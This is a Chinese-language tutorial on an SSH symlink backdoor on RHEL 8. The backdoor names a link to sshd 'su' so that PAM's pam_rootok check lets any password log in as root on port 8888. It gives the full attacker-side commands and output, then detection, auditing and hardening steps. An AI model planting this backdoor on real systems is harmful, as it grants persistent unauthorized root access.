复现环境:Red Hat Enterprise Linux 8
1. 引言
核心思想:服务与网络后门是攻击者最隐蔽的权限维持手段之一——通过修改系统服务配置或替换关键服务程序,让攻击者可以随时通过特定端口或特定条件获得 Shell。
本篇内容:
-
软链接后门(PAM绕过):利用 SSH 软链接实现任意密码登录
2. 后门技术详解
2.1 软链接后门(PAM绕过)
原理
在 Linux 系统中,PAM(Pluggable Authentication Modules)负责程序的认证工作。某些 PAM 配置文件(如 /etc/pam.d/su)中包含一行:
auth sufficient pam_rootok.so
sufficient 表示:如果这个模块验证通过,就直接认证成功,不再继续。pam_rootok.so 的作用是:检查当前用户是否是 root,如果是 root,验证通过。

后门原理:
攻击者创建一个软链接,指向 /usr/sbin/sshd,但文件名设为 su。当这个伪造的 su 程序运行时,PAM 会去找 /etc/pam.d/su 的配置,其中包含 pam_rootok.so,而 sshd 通常以 root 身份运行,所以认证直接通过——无论密码是什么。
一句话:用 SSH 程序伪装成 su,骗过 PAM 认证,实现任意密码登录。
操作(攻击者视角)
# 1. 创建软链接
ln -sf /usr/sbin/sshd /tmp/su
# 2. 用这个“假su”启动 sshd 服务,监听自定义端口 8888
/tmp/su -oPort=8888 &
# 3. 从任意机器连接
ssh root@目标IP -p 8888
# 输入任意密码(比如 123、aaa、回车),都能登录成功!
注:需要开放防火墙的端口
# 开放 8888 端口
firewall-cmd --add-port=8888/tcp --permanent
# 重新加载防火墙规则
firewall-cmd --reload
# 验证端口已开放
firewall-cmd --list-ports
|
部分 |
含义 |
|---|---|
ln |
创建链接命令(link) |
-s |
创建软链接(符号链接,类似Windows的快捷方式) |
-f |
强制覆盖(如果 /tmp/su 已存在,就覆盖它) |
/usr/sbin/sshd |
目标文件(真正的SSH服务程序) |
/tmp/su |
链接名(在 /tmp 目录下创建一个叫 su 的快捷方式) |
效果:在 /tmp 目录下创建一个名为 su 的快捷方式,它指向 /usr/sbin/sshd。执行 /tmp/su 就等同于执行 /usr/sbin/sshd。
# 验证软链接
ls -la /tmp/su
# 输出:lrwxrwxrwx 1 root root 14 ... /tmp/su -> /usr/sbin/sshd

第2步:启动后门服务
| 部分 | 含义 |
|---|---|
/tmp/su |
执行这个软链接(实际执行的是 /usr/sbin/sshd) |
-oPort=8888 |
SSH 服务的参数,表示监听 8888 端口,而不是默认的 22 端口 |
效果:启动一个新的 SSH 服务,监听在 8888 端口,而不是默认的 22 端口。
# 验证端口是否监听
netstat -tulnp | grep 8888
# 输出:tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN 12345/sshd
第3步:连接后门
ssh root@目标IP -p 8888
# 输入任意密码(比如 123、aaa、直接回车),都能登录成功!
| 部分 | 含义 |
|---|---|
ssh root@目标IP |
用 root 用户连接目标服务器 |
-p 8888 |
指定连接端口为 8888(不是默认的 22) |
| 任意密码 | 输入任何字符都能登录成功 |
RHEL 8 注意:
-
默认
sshd以sshd用户身份运行,绑定端口可能需要 root 权限 -
使用高端口(如 8888)可以避免冲突
检测方法
# 1. 检查是否有异常的 sshd 进程在非标准端口监听
netstat -tulnp | grep sshd
ss -tulnp | grep sshd
# 2. 检查 /tmp 目录下的软链接
ls -la /tmp/su
# 3. 查看进程树,找出异常的 sshd 父进程
pstree -p | grep sshd ps aux | grep sshd
输出示例(异常):
root 12345 0.0 0.1 12345 5678 ? Ss 10:00 0:00 /tmp/su -oPort=8888
清除方法
4. 防御与加固建议
4.1 软链接后门防御
# 1. 监控 /tmp 目录的软链接创建
auditctl -w /tmp -p wa -k tmp_symlink
# 2. 限制 /tmp 目录的执行权限(无法运行 /tmp/su)
mount -o remount,noexec /tmp
4.2 通用加固
| 措施 | 命令 |
|---|---|
| 禁止 root 直接 SSH 登录 | PermitRootLogin no 在 /etc/ssh/sshd_config |
| 修改 SSH 默认端口 | Port 2222 |
| 使用密钥登录,禁用密码 | PasswordAuthentication no |
| 开启 SELinux | setenforce 1 |
5. 总结
| 后门类型 | 原理 | 特征 | 排查命令 | 清除方法 |
|---|---|---|---|---|
| 软链接后门 | PAM 绕过,任意密码登录 | /tmp/su 进程监听高端口 |
netstat -tulnp | grep su |
kill + rm -f /tmp/su |
核心原则:
-
定期检查
file /usr/sbin/sshd,确认是 ELF 二进制 -
检查非标准端口的监听进程
-
使用
rpm -V验证关键文件完整性 -
开启 SELinux,可有效防御此类后门

















暂无评论内容